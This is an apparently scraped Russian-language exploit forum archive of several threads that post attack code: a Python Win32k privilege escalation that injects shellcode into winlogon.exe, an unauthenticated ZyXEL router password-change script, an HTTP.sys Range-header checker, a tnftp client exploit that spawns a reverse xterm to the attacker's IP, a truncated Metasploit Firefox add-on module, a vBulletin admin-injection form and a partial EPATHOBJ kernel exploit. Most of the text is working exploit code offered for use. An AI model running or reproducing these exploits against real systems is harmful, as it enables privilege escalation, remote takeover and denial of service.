    tagWND = "\x41"*11 + "\x00\x00\x00\x00" +\
     "\x42"*0xC + "\xf0\xff\xff\xff\x00\x00\x00\x00" +\
     "\x00"*8 +\
     "\x43"*0x145 + CurrentProcessWin32Process + "\x45"*0x58 +\
     TokenAddress + "\x47"*0x28
    ## Allocate space for the input buffer
    lpBaseAddress = LPVOID(0x00000000fffffff0)
    Zerobits      = ULONG(0)
    RegionSize    = LPVOID(0x1000)
    written       = LPVOID(0)                   
    dwStatus = ntdll.NtAllocateVirtualMemory(0xffffffffffffffff,
                                             byref(lpBaseAddress),
                                             0x0,
                                             byref(RegionSize),
                                             VIRTUAL_MEM,
                                             PAGE_EXECUTE_READWRITE)
    if dwStatus != STATUS_SUCCESS:
        log("Failed to allocate tagWND object", "e")
        getLastError()
        sys.exit()
      
    # Copy input buffer to the fake tagWND                       
    nSize = 0x200        
    written = LPVOID(0)
    lpBaseAddress = QWORD(0x00000000fffffff0)
    dwStatus = kernel32.WriteProcessMemory(0xffffffffffffffff, 
                                           lpBaseAddress, 
                                           tagWND, 
                                           nSize,
                                           byref(written)) 
    if dwStatus == 0:
        log("Failed to copy the input buffer to the tagWND object", "e")
        getLastError()
        sys.exit()    
              
    log("Fake win32k!tagWND allocated, written %d bytes to 0x%x" %\
     (written.value, lpBaseAddress.value))                            
    return hRestrictedToken
  
  
def injectShell(hPrivilegedToken):
    """Impersonate privileged token and inject shellcode into winlogon.exe"""
      
    while not EXPLOITED:
        time.sleep(0.1)
    log("-"*70)
    log("Impersonating the privileged token...")
    if not advapi32.ImpersonateLoggedOnUser(hPrivilegedToken):
        log("Could not impersonate the privileged token", "e")
        getLastError()
        sys.exit()
          
    # Get winlogon.exe pid
    pid = getpid("winlogon.exe")
  
    # Get a handle to the winlogon process we are injecting into 
    hProcess = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid))
  
    if not hProcess:
        log("Couldn't acquire a handle to PID: %s" % pid, "e")
        sys.exit()
  
    log("Obtained handle 0x%x for the winlogon.exe process" % hProcess)
      
    # Creating shellcode buffer to inject into the host process
    sh = create_string_buffer(SHELLCODE, len(SHELLCODE))
    code_size = len(SHELLCODE)    
      
    # Allocate some space for the shellcode (in the program memory)
    sh_address = kernel32.VirtualAllocEx(hProcess, 0, code_size, VIRTUAL_MEM, 
                                         PAGE_EXECUTE_READWRITE)
    if not sh_address:
        log("Could not allocate shellcode in the remote process")
        getLastError()
        sys.exit()
          
    log("Allocated memory at address 0x%x" % sh_address)
  
    # Inject shellcode in to winlogon.exe process space
    written = LPVOID(0)
    shellcode = QWORD(sh_address)
    dwStatus = kernel32.WriteProcessMemory(hProcess, shellcode, sh, code_size, 
                                            byref(written))
    if not dwStatus:
        log("Could not write shellcode into winlogon.exe", "e")
        getLastError()
        sys.exit()
          
    log("Injected %d bytes of shellcode to 0x%x" % (written.value, sh_address))
  
    # Now we create the remote thread and point its entry routine to be head of 
    # our shellcode
    thread_id = HANDLE(0)
    if not kernel32.CreateRemoteThread(hProcess, 0, 0, sh_address, 0, 0, 
                                        byref(thread_id)):
        log("Failed to inject shellcode into winlogon.exe")
        sys.exit(0)
  
    log("Remote thread  0x%08x created" % thread_id.value)
    log("Spawning SYSTEM shell...")
    # Kill python process to kill the window and avoid BSODs
    os.kill(os.getpid(), signal.SIGABRT)
  
  
def getpid(procname):
    """ Get Process Pid by procname """
      
    pid = None
    try:
        hProcessSnap = kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
        pe32 = PROCESSENTRY32()
        pe32.dwSize = sizeof(PROCESSENTRY32)
        ret = kernel32.Process32First(hProcessSnap , byref(pe32))
        while ret:
            if pe32.szExeFile == LPSTR(procname).value:
                pid = pe32.th32ProcessID
            ret = kernel32.Process32Next(hProcessSnap, byref(pe32))
        kernel32.CloseHandle ( hProcessSnap )
    except Exception, e:
        log(str(e), "e")
    if not pid:
        log("Could not find %s PID" % procname)
        sys.exit()
    return pid
  
  
CALLBACK01 = WinFunc1(hook_callback_one)    
CALLBACK02 = WinFunc2(hook_callback_two)
      
      
if __name__ == '__main__':
    log("MS14-058 Privilege Escalation - ryujin <at> offensive-security.com", 
        "d")
    # Prepare the battlefield
    hPrivilegedToken = alloctagWND()
    # Start the injection thread
    t1 = threading.Thread(target=injectShell, args = (hPrivilegedToken,))
    t1.daemon = False
    t1.start()
    # Trigger the vuln
    buildMenuAndTrigger()
LPE, Win32k, CVE-2015-1701
ID: 67686ba3b4103b69df379d1b
Thread ID: 25868
Created: 2015-05-14T07:37:46+0000
Last Post: 2015-05-14T07:37:46+0000
Author: krest
Prefix: Local
Replies: 0 Views: 2K

Исходники эксплоита для CVE-2015-1701.
Патч вышел только во вторник.
https://github.com/hfiref0x/CVE-2015-1701

Проверял на 7 х64 и w2k8 r2

ZYXEL P-660HN-T1H_IPv6 Web Server DoS
ID: 67686ba3b4103b69df379d1c
Thread ID: 25810
Created: 2015-04-24T08:02:45+0000
Last Post: 2015-04-24T08:02:45+0000
Author: krest
Prefix: DoS
Replies: 0 Views: 2K

ZYXEL P-660HN-T1H_IPv6 Remote Configuration Editor / Web Server DoS

Code:Copy to clipboard

<?php
/*
Exploit Title   : ZYXEL remote configuration editor / Web Server DoS
Date            : 23 April 2015
Exploit Author  : Koorosh Ghorbani
Site            : http://8thbit.net/
Vendor Homepage : http://www.zyxel.com/
Platform        : Hardware 
Tested On       : ZyXEL P-660HN-T1H_IPv6
Firmware Version: 1.02(VLU.0)
--------------------------
 Unattended remote access  
--------------------------
ZYXEL Embedded Software does not check Cookies And Credentials on POST method so 
attackers could changes settings and view pages with post method .
 
--------------------------
      DoS Web Server
--------------------------
sending empty Post to admin pages will crash internal web server and router needs
to hard reset .
 
*/
$banner = "   ___ _______ _     ____  _ _______ \r\n" . "  / _ \__   __| |   |  _ \(_)__   __|\r\n" ." | (_) | | |  | |__ | |_) |_   | |   \r\n" ."  > _ <  | |  | '_ \|  _ <| |  | |   \r\n" ." | (_) | | |  | | | | |_) | |  | |   \r\n" ."  \___/  |_|  |_| |_|____/|_|  |_|   \r\n" ."                                     \r\n" ."                                     \r\n";
print $banner;
function Post($packet,$host)
{
    try {
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $host);
        curl_setopt($curl, CURLOPT_POST, 1);
        curl_setopt($curl, CURLOPT_POSTFIELDS, $packet);
        curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0");
        curl_setopt($curl, CURLOPT_REFERER, "Referer: http://192.168.1.1/cgi-bin/WLAN_General.asp");
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
        $result = curl_exec($curl);
        curl_close($curl);
        return $result;
    }catch (Exception $e ){
        echo $e->getMessage();
        return "";
    }
}
if(sizeof($argv) < 3) {
    print "Usage : $argv[0] 192.168.1.1 NewWifiPassword\n";
    exit(1);
}
$host = $argv[1];
$password = urlencode($argv[2]);
$packet= "access=0&DoScan=0&ChannelDoScan=0&WlanQosFlag=0&HtExtcha=0&IsPtGui=0&SecurityIndexOriginal=3&EnableWLAN=on&SSID_INDEX=0&EnableWLanFlag=1&CountryRegion=1&CountryRegion0=0&CountryRegion1=1&CountryRegion2=2&CountryRegion3=3&CountryRegion5=5&CountryRegion6=6&Countries_Channels=IRAN&Channel_ID=11&HideSsidFlag=0&WPACompatileFlag=WPA2PSK&EncrypType=TKIPAES&PreSecurity_Sel=WPA2PSK&Security_Sel=WPA2PSK&WLANCfgPphrase=&WEP_Key1=&DefWEPKey=1&WLANCfgPSK=$password&WLANCfgAuthenTimeout=1800&WLANCfgIdleTimeout=3600&WLANCfgWPATimer=1800&WLANCfgRadiusServerAddr=0.0.0.0&WLANCfgRadiusServerPort=1812&WLANCfgRadiusServerKey=&Qos_Sel=None&doSubmitFlag=0";
$target = "http://$host/cgi-bin/WLAN_General.asp";
if(strlen(Post($packet,$target)) > 0){
    print "Seems Changed !";
}else{
    print "Humm , No Chance !";
}
//DoS : Post("",$target);
?>
Windows 8.1/7 HTTP.sys Remote Code Execution
ID: 67686ba3b4103b69df379d1f
Thread ID: 25780
Created: 2015-04-16T07:44:29+0000
Last Post: 2015-04-21T11:37:31+0000
Author: krest
Prefix: DoS
Replies: 8 Views: 2K

В сетевом стеке HTTP.sys для серверных Windows обнаружена критичная уязвимость, из-за которой HTTP.sys неправильно обрабатывает специальным образом составленные HTTP-запросы, вызывая DoS или удалённое исполнение кода.

Ниже приведен код эксплоита, который осуществляет сканирование системы, чтобы вызвать переполнение буфера и проверить, уязвима система или нет.

Уязвимость получила номер CVE-2015-1635: хттп://cve.mitre.org/cgi- bin/cvename.cgi?name=CVE-2015-1635

Code:Copy to clipboard

/*
UNTESTED - MS15-034 Checker

THE BUG:

8a8b2112 56 push esi
8a8b2113 6a00 push 0
8a8b2115 2bc7 sub eax,edi
8a8b2117 6a01 push 1
8a8b2119 1bca sbb ecx,edx
8a8b211b 51 push ecx
8a8b211c 50 push eax
8a8b211d e8bf69fbff call HTTP!RtlULongLongAdd (8a868ae1); here

BY: john.b.hale@gmai.com
Twitter: @rhcp011235
*/

#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <arpa/inet.h> 

int connect_to_server(char *ip)
{
int sockfd = 0, n = 0;

struct sockaddr_in serv_addr;
struct hostent *server;

if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
printf("\n Error : Could not create socket \n");
return 1;
}

memset(&serv_addr, '0', sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(80);
if(inet_pton(AF_INET, ip, &serv_addr.sin_addr)<=0)
{
printf("\n inet_pton error occured\n");
return 1;
}
if( connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0)
{
printf("\n Error : Connect Failed \n");
return 1;
} 

return sockfd;
}


int main(int argc, char *argv[])
{
int n = 0;
int sockfd;
char recvBuff[1024];

// Check server
char request[] = "GET / HTTP/1.0\r\n\r\n";

// our evil buffer
char request1[] = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n";


if(argc != 2)
{
printf("\n Usage: %s <ip of server> \n",argv[0]);
return 1;
} 

printf("[*] Audit Started\n");
sockfd = connect_to_server(argv[1]);
write(sockfd, request, strlen(request)); 
read(sockfd, recvBuff, sizeof(recvBuff)-1);

if (!strstr(recvBuff,"Microsoft"))
{
printf("[*] NOT IIS\n");
exit(1);
}

sockfd = connect_to_server(argv[1]);
write(sockfd, request1, strlen(request1));
read(sockfd, recvBuff, sizeof(recvBuff)-1);
if (strstr(recvBuff,"Requested Range Not Satisfiable"))
{
printf("[!!] Looks VULN\n");
exit(1);
} else if(strstr(recvBuff,"The request has an invalid header name")) {
printf("[*] Looks Patched");
} else
printf("[*] Unexpected response, cannot discern patch status");

}

ORIGNAL PoC: _http://pastebin.com/raw.php?i=ypURDPc4

tnftp - clientside BSD Exploit
ID: 67686ba3b4103b69df379d29
Thread ID: 25550
Created: 2014-12-16T07:36:26+0000
Last Post: 2014-12-16T07:36:26+0000
Author: DarckSol
Prefix: Remote
Replies: 0 Views: 2K

Code:Copy to clipboard

#!/usr/bin/env python2
#
# Exploit Title: [tnftp BSD exploit]
# Date: [11/29/2014]
# Exploit Author: [dash]
# Vendor Homepage: [www.freebsd.org]
# Version: [FreeBSD 8/9/10]
# Tested on: [FreeBSD 9.3]
# CVE : [CVE-2014-8517]
  
# tnftp exploit (CVE-2014-8517)tested against freebsd 9.3
# https://www.freebsd.org/security/advisories/FreeBSD-SA-14:26.ftp.asc
#
# 29 Nov 2014 by dash@hack4.org
#
# usage:
#
# redirect the vulnerable ftp client requests for http to your machine
#
# client will do something like:
# ftp http://ftp.freebsd.org/data.txt
#
# you will intercept the dns request and redirect victim to your fake webserver ip
#
# attacker: start on 192.168.2.1 Xnest: Xnest -ac :1
# probably do also xhost+victimip
#
# attacker: python CVE-2014-8517.py 192.168.1.1 81 192.168.1.1
#
# sadly you cannot put a slash behind the | also www-encoded is not working
# plus problems with extra pipes
# this renders a lot of usefull commands useless
# so xterm -display it was;)
#
# *dirty* *dirdy* *dyrdy* *shell* !
#
  
import os
import sys
import time
import socket
  
  
def usage():
    print "CVE-2014-8517 tnftp exploit"
    print "by dash@hack4.org in 29 Nov 2014"
    print
    print "%s <redirect ip> <redirect port> <reverse xterm ip>"% (sys.argv[0])
    print "%s 192.168.1.1 81 192.168.2.1"% (sys.argv[0])
  
#bind a fake webserver on 0.0.0.0 port 80
def webserveRedirect(redirect):
  
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(("0.0.0.0",80))
    s.listen(3)
    h, c = s.accept()
  
    #wait for request
    #print h.recv(1024)
  
    #send 302
    print "[+] Sending redirect :>"
    h.send(redirect)
    s.close()
    return 0
  
#bind a fake webserver on port %rport
def deliverUgga(owned):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(("0.0.0.0",rport))
    s.listen(3)
    h, c = s.accept()
  
#   print h.recv(1024)
    print "[+] Deliver some content (shell is spwaned now)"
    h.send(owned)
    s.close()
  
    return 0
  
owned="""HTTP/1.1 200 Found
Date: Fri, 29 Nov 2014 1:00:03 GMT
Server: Apache
Vary: Accept-Encoding
Content-Length: 5
Connection: close
Content-Type: text/html; charset=iso-8859-1
  
  
ugga ugga
"""
  
if(os.getuid())!=0:
    print "[-] Sorry, you need root to bind port 80!"
    sys.exit(1)
  
if len(sys.argv)<3:
    usage()
    sys.exit(1)
  
rip = sys.argv[1]
rport = int(sys.argv[2])
revip = sys.argv[3]
  
print "[+] Starting tnftp BSD client side exploit (CVE-2014-8517)"
print "[+] Dont forget to run Xnest -ac :1"
  
# ok, lets use xterm -display
cmd = "xterm -display %s:1" % (revip)
cmd = cmd.replace(" ","%20")
  
print "[+] Payload: [%s]" % cmd
  
redirect =  "HTTP/1.1 302\r\n"\
        "Content-Type: text/html\r\n"\
        "Connection: keep-alive\r\n"\
        "Location: http://%s:%d/cgi-bin/|%s\r\n"\
        "\r\n\r\n" % (rip,rport,cmd)
  
#child process owned data delivery
uggapid = os.fork()
if uggapid == 0:
    uggapid = os.getpid()
    deliverUgga(owned)
else:
#child proces for webserver redirect
    webpid = os.fork()
    if webpid == 0:
        webpid = os.getpid()
        webserveRedirect(redirect)
  
  
  
#childs, come home!
try:
    os.waitpid(webpid,0)
except:
    pass
try:
    os.waitpid(uggapid,0)
except:
    pass
  
#oh wait :>
time.sleep(5)
 
# A055DA28AFD15342   1337day.com [2014-12-16]   55C0A1D71DAD6CD0 #
Firefox 5.0 - 15.0.1 - exposedProps XCS Code E
ID: 67686ba3b4103b69df379d4c
Thread ID: 24886
Created: 2013-12-25T15:23:20+0000
Last Post: 2014-04-04T08:03:08+0000
Author: X-Molot
Prefix: Remote
Replies: 1 Views: 2K

This module requires Metasploit: http//metasploit.com/download

Current source: https://github.com/rapid7/metasploit-framework

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::BrowserExploitServer
include Msf::Exploit::EXE
include Msf::Exploit::Remote::FirefoxAddonGenerator

def initialize(info = {})
super(update_info(info,
'Name' => 'Firefox 5.0 - 15.0.1 exposedProps XCS Code Execution',
'Description' => %q{
On versions of Firefox from 5.0 to 15.0.1, the InstallTrigger global, when given
invalid input, would throw an exception that did not have an exposedProps
property set. By re-setting this property on the exception object's prototype,
the chrome-based defineProperty method is made available.

With the defineProperty method, functions belonging to window and document can be
overriden with a function that gets called from chrome-privileged context. From here,
another vulnerability in the crypto.generateCRMFRequest function is used to "peek"
into the context's private scope. Since the window does not have a chrome:// URL,
the insecure parts of Components.classes are not available, so instead the AddonManager
API is invoked to silently install a malicious plugin.
},
'License' => MSF_LICENSE,
'Author' => [
'Mariusz Mlynski', # discovered CVE-2012-3993
'moz_bug_r_a4', # discovered CVE-2013-1710
'joev' # metasploit module
],
'DisclosureDate' => "Aug 6 2013",
'References' => [
['CVE', '2012-3993'], # used to install function that gets called from chrome:// (ff<15)
['OSVDB', '86111'],
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=768101'],
['CVE', '2013-1710'], # used to peek into privileged caller's closure (ff<23)
['OSVDB', '96019']
],
'BrowserRequirements' => {
:source => 'script',
:ua_name => HttpClients::FF,
:ua_ver => lambda { |ver| ver.to_i.between?(5, 15) }
}
))

register_options([
OptString.new('CONTENT', [ false, "Content to display inside the HTML

.", '' ] ) ], self.class) end

def on_request_exploit(cli, request, target_info)
if request.uri.match(/\.xpi$/i)
print_status("Sending the malicious addon")
send_response(cli, generate_addon_xpi.pack, { 'Content-Type' => 'application/x-xpinstall' })
else
print_status("Sending HTML")
send_response_html(cli, generate_html(target_info))
end
end

def generate_html(target_info)
injection = if target_info[:ua_ver].to_i == 15
"Function.prototype.call.call(p.defineGetter,obj,key,runme);"
else
"p2.constructor.defineProperty(obj,key,{get:runme});"
end

%Q|

#{datastore['CONTENT']} | end end

Click to expand...

vBulletin 4.1-5 install exploit
ID: 67686ba3b4103b69df379d58
Thread ID: 24656
Created: 2013-09-23T07:11:25+0000
Last Post: 2013-09-29T12:22:51+0000
Author: DarckSol
Prefix: Web
Replies: 5 Views: 2K

Code:Copy to clipboard

<html xmlns="http://www.w3.org/1999/xhtml"><head>  
   
   
   
   
   
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">  
   
<title>vBulletin 0day</title>  
   
<style type="text/css">  
   
<!-- 
   
body { 
   
    background-color: #000; 
   
    text-align: center; 
   
    color: #063; 
   
    font-size: large; 
   
} 
   
.a {    font-size: 24px; 
   
} 
   
.f {    color: #060; 
   
} 
   
.gbf {    color: #F00; 
   
} 
   
.dd { 
   
    color: #F00; 
   
} 
   
.w { 
   
    font-size: large; 
   
} 
   
a:link { 
   
    text-decoration: none; 
   
} 
   
a:visited { 
   
    text-decoration: none; 
   
} 
   
a:hover { 
   
    text-decoration: none; 
   
} 
   
a:active { 
   
    text-decoration: none; 
   
} 
   
--> 
   
</style></head><body>  
   
<p class="a"> 
  
   
<h1><span class="gbf">vBulletin</span> 4.x.x and 5.x.x Upgrade 0day Exploit</h1>  
   

Created by: 1337 

Found on: 08/22/2013 

Website: http://www.madleets.com 
</p>  
  

 
<?php 
//extract data from the post 
if(isset($_POST['submit'])){ 
extract($_POST); 
//set POST variables 
$url = $_POST['url']; 
$fields = array( 
                        'ajax' => urlencode('1'), 
                        'version' => urlencode('install'), 
                        'checktable' => urlencode('false'), 
                        'firstrun' => urlencode('false'), 
                        'step' => urlencode('7'), 
                        'startat' => urlencode('0'), 
                        'only' => urlencode('false'), 
                        'customerid' => urlencode($_POST['customerid']), 
                        'options[skiptemplatemerge]' => urlencode('0'), 
                        'response' => urlencode('yes'), 
                        'htmlsubmit' => urlencode('1'), 
                        'htmldata[username]' => urlencode($_POST['username']), 
                        'htmldata[password]' => urlencode($_POST['password']), 
                        'htmldata[confirmpassword]' => urlencode($_POST['password']), 
                        'htmldata[email]' => urlencode($_POST['email']) 
                ); 
//url-ify the data for the POST 
foreach($fields as $key=>$value) { $fields_string .= $key.'='.$value.'&'; } 
rtrim($fields_string, '&'); 
//open connection 
$ch = curl_init(); 
//set the url, number of POST vars, POST data 
curl_setopt($ch,CURLOPT_URL, $url); 
curl_setopt($ch,CURLOPT_POST, count($fields)); 
curl_setopt($ch,CURLOPT_POSTFIELDS, $fields_string); 
curl_setopt($ch, CURLOPT_COOKIESESSION, TRUE); 
curl_setopt($ch, CURLOPT_COOKIE, 'bbcustomerid='.$_POST['customerid'] ); 
//execute post 
$result = curl_exec($ch); 
//close connection 
curl_close($ch); 
exit(); 
} 
?> 
<center> 
<form name="sploit" method="POST" action="<?php echo $_SERVER['REQUEST_URI']; ?>"> 
<span>Example:http://test.com/forum/install/upgrade.php</span>
 
  <span>Website:</span> 
    <input name="url" type="text" tabindex="1" size="60" /> 
    
 
    <span>Customer ID:</span> 
    <input name="customerid" type="text" tabindex="2" size="40" /> 
    
 
    <span>Username:</span> 
    <input name="username" type="text" tabindex="3" size="40" /> 
    
 
    <span>Password:</span> 
    <input name="password" type="text" tabindex="4" size="40" /> 
    
 
    <span>Email:</span> 
    <input name="email" type="text" tabindex="5" maxlength="40" /> 
      
<input name="submit" type="submit" value="Inject Admin"> 
</form> 
</center> 
   
<p class="a">------------------------------------------------------------------------------------------------------------------</p>  
   
<p class="a">MaDLeeTs TeaM </p>  
   
<p class="a">------------------------------------------------------------------------------------------------------------------</p>  
   
  
</div> 
          
 </pre>  
   
<p class="a"> </p>  
<p align="center">  
   
  
  </body></html>

--------------------
Источник:http://exploit.in/forum/index.php?showtopic=72315&hl=
--------------------
Источник:[http://www.vbulletin.com/forum/forum/vbull...4-1-vbulletin-5](http://www.vbulletin.com/forum/forum/vbulletin- announcements/vbulletin-announcements_aa/3991423-potential-vbulletin-exploit- vbulletin-4-1-vbulletin-5)
--------------------

Windows NT - Windows 8 EPATHOBJ Local Ring 0
ID: 67686ba3b4103b69df379d65
Thread ID: 24271
Created: 2013-06-04T10:15:53+0000
Last Post: 2013-06-05T09:39:39+0000
Author: DarckSol
Prefix: Local
Replies: 5 Views: 2K

Code:Copy to clipboard

#ifndef WIN32_NO_STATUS
# define WIN32_NO_STATUS
#endif
#include <stdio.h>
#include <stdarg.h>
#include <stddef.h>
#include <windows.h>
#include <assert.h>
#ifdef WIN32_NO_STATUS
# undef WIN32_NO_STATUS
#endif
#include <ntstatus.h>
 
#pragma comment(lib, "gdi32")
#pragma comment(lib, "kernel32")
#pragma comment(lib, "user32")
#pragma comment(lib, "shell32")
#pragma comment(linker, "/SECTION:.text,ERW")
 
#ifndef PAGE_SIZE
# define PAGE_SIZE 0x1000
#endif
 
#define MAX_POLYPOINTS (8192 * 3)
#define MAX_REGIONS 8192
#define CYCLE_TIMEOUT 10000
 
//
// --------------------------------------------------
// Windows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit
// ----------------------------------------- taviso () cmpxchg8b com -----
//
// INTRODUCTION
//
// There's a pretty obvious bug in win32k!EPATHOBJ::pprFlattenRec where the
// PATHREC object returned by win32k!EPATHOBJ::newpathrec doesn't initialise the
// next list pointer. The bug is really nice, but exploitation when
// allocations start failing is tricky.
//
//; BOOL __thiscall EPATHOBJ::newpathrec(EPATHOBJ     *this,
//                                        PATHRECORD   **pppr,
//                                        ULONG         *pcMax,
//                                        ULONG cNeeded)
//  .text:BFA122CA                 mov     esi, [ebp+ppr]
//  .text:BFA122CD                 mov     eax, [esi+PATHRECORD.pprPrev]
//  .text:BFA122D0                 push    edi
//  .text:BFA122D1                 mov     edi, [ebp+pprNew]
//  .text:BFA122D4                 mov     [edi+PATHRECORD.pprPrev], eax
//  .text:BFA122D7                 lea     eax, [edi+PATHRECORD.count]
//  .text:BFA122DA                 xor     edx, edx
//  .text:BFA122DC                 mov     [eax], edx
//  .text:BFA122DE                 mov     ecx, [esi+PATHRECORD.flags]
//  .text:BFA122E1                 and     ecx, not (PD_BEZIER)
//  .text:BFA122E4                 mov     [edi+PATHRECORD.flags], ecx
//  .text:BFA122E7                 mov     [ebp+pprNewCountPtr], eax
//  .text:BFA122EA                 cmp     [edi+PATHRECORD.pprPrev], edx
//  .text:BFA122ED                 jnz     short loc_BFA122F7
//  .text:BFA122EF                 mov     ecx, [ebx+EPATHOBJ.ppath]
//  .text:BFA122F2                 mov     [ecx+PATHOBJ.pprfirst], edi
//
//  It turns out this mostly works because newpathrec() is backed by newpathalloc()
//  which uses PALLOCMEM(). PALLOCMEM() will always zero the buffer returned.
//
// ; PVOID __stdcall PALLOCMEM(size_t size, int tag)
//  .text:BF9160D7                 xor     esi, esi
//  .text:BF9160DE                 push    esi
//  .text:BF9160DF                 push    esi
//  .text:BF9160E0                 push    [ebp+tag]
//  .text:BF9160E3                 push    [ebp+size]
//  .text:BF9160E6                 call    _HeavyAllocPool () 16; HeavyAllocPool(x,x,x,x)
//  .text:BF9160EB                 mov     esi, eax
//  .text:BF9160ED                 test    esi, esi
//  .text:BF9160EF                 jz      short loc_BF9160FF
//  .text:BF9160F1                 push    [ebp+size]     ; size_t
//  .text:BF9160F4                 push    0              ; int
//  .text:BF9160F6                 push    esi            ; void *
//  .text:BF9160F7                 call    _memset
//
//  However, the PATHALLOC allocator includes it's own freelist implementation, and
//  if that codepath can satisfy a request the memory isn't zeroed and returned
//  directly to the caller. This effectively means that we can add our own objects
//  to the PATHRECORD chain.
//
//  We can force this behaviour under memory pressure relatively easily, I just
//  spam HRGN objects until they start failing. This isn't super reliable, but it's
//  good enough for testing.
//
//          // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
//          // failure. Seriously, do some damn QA Microsoft, wtf.
//          for (Size = 1 << 26; Size; Size >>= 1) {
//              while (CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
//                 ;
//          }
//
//  Adding user controlled blocks to the freelist is a little trickier, but I've
//  found that flattening large lists of bezier curves added with PolyDraw() can
//  accomplish this reliably. The code to do this is something along the lines of:
//
//          for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
//              Points[PointNum].x      = 0x41414141 >> 4;
//              Points[PointNum].y      = 0x41414141 >> 4;
//              PointTypes[PointNum]    = PT_BEZIERTO;
//          }
//
//          for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {
//              BeginPath(Device);
//              PolyDraw(Device, Points, PointTypes, PointNum);
//              EndPath(Device);
//              FlattenPath(Device);
//              FlattenPath(Device);
//              EndPath(Device);
//          }
//
//   We can verify this is working by putting a breakpoint after newpathrec, and
//   verifying the buffer is filled with recognisable values when it returns:
//
//   kd> u win32k!EPATHOBJ::pprFlattenRec+1E
//   win32k!EPATHOBJ::pprFlattenRec+0x1e:
//   95c922b8 e8acfbffff      call    win32k!EPATHOBJ::newpathrec (95c91e69)
//   95c922bd 83f801          cmp     eax,1
//   95c922c0 7407            je      win32k!EPATHOBJ::pprFlattenRec+0x2f (95c922c9)
//   95c922c2 33c0            xor     eax,eax
//   95c922c4 e944020000      jmp     win32k!EPATHOBJ::pprFlattenRec+0x273 (95c9250d)
//   95c922c9 56              push    esi
//   95c922ca 8b7508          mov     esi,dword ptr [ebp+8]
//   95c922cd 8b4604          mov     eax,dword ptr [esi+4]
//   kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+23 "dd poi(ebp-4) L1; gc"
//   kd> g
//   fe938fac  41414140
//   fe938fac  41414140
//   fe938fac  41414140
//   fe938fac  41414140
//   fe938fac  41414140
//
//   The breakpoint dumps the first dword of the returned buffer, which matches the
//   bezier points set with PolyDraw(). So convincing pprFlattenRec() to move
//   EPATHOBJ->records->head->next->next into userspace is no problem, and we can
//   easily break the list traversal in bFlattten():
//
//   BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this)
//   {
//     EPATHOBJ *pathobj; // esi () 1
//     PATHOBJ *ppath; // eax () 1
//     BOOL result; // eax () 2
//     PATHRECORD *ppr; // eax () 3
//
//     pathobj = this;
//     ppath = this->ppath;
//     if ( ppath )
//     {
//       for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )
//       {
//         if ( ppr->flags & PD_BEZIER )
//         {
//           ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);
//           if ( !ppr )
//             goto LABEL_2;
//         }
//       }
//       pathobj->fl &= 0xFFFFFFFE;
//       result = 1;
//     }
//     else
//     {
//   LABEL_2:
//       result = 0;
//     }
//     return result;
//   }
//
//   All we have to do is allocate our own PATHRECORD structure, and then spam
//   PolyDraw() with POINTFIX structures containing co-ordinates that are actually
//   pointers shifted right by 4 (for this reason the structure must be aligned so
//   the bits shifted out are all zero).
//
//   We can see this in action by putting a breakpoint in bFlatten when ppr has
//   moved into userspace:
//
//   kd> u win32k!EPATHOBJ::bFlatten
//   win32k!EPATHOBJ::bFlatten:
//   95c92517 8bff            mov     edi,edi
//   95c92519 56              push    esi
//   95c9251a 8bf1            mov     esi,ecx
//   95c9251c 8b4608          mov     eax,dword ptr [esi+8]
//   95c9251f 85c0            test    eax,eax
//   95c92521 7504            jne     win32k!EPATHOBJ::bFlatten+0x10 (95c92527)
//   95c92523 33c0            xor     eax,eax
//   95c92525 5e              pop     esi
//   kd> u
//   win32k!EPATHOBJ::bFlatten+0xf:
//   95c92526 c3              ret
//   95c92527 8b4014          mov     eax,dword ptr [eax+14h]
//   95c9252a eb14            jmp     win32k!EPATHOBJ::bFlatten+0x29 (95c92540)
//   95c9252c f6400810        test    byte ptr [eax+8],10h
//   95c92530 740c            je      win32k!EPATHOBJ::bFlatten+0x27 (95c9253e)
//   95c92532 50              push    eax
//   95c92533 8bce            mov     ecx,esi
//   95c92535 e860fdffff      call    win32k!EPATHOBJ::pprFlattenRec (95c9229a)
//
//   So at 95c9252c eax is ppr->next, and the routine checks for the PD_BEZIERS
//   flags (defined in winddi.h). Let's break if it's in userspace:
//
//   kd> ba e 1 95c9252c "j (eax < poi(nt!MmUserProbeAddress)) 'gc'; ''"
//   kd> g
//   95c9252c f6400810        test    byte ptr [eax+8],10h
//   kd> r
//   eax=41414140 ebx=95c1017e ecx=97330bec edx=00000001 esi=97330bec edi=0701062d
//   eip=95c9252c esp=97330be4 ebp=97330c28 iopl=0         nv up ei pl nz na po nc
//   cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010202
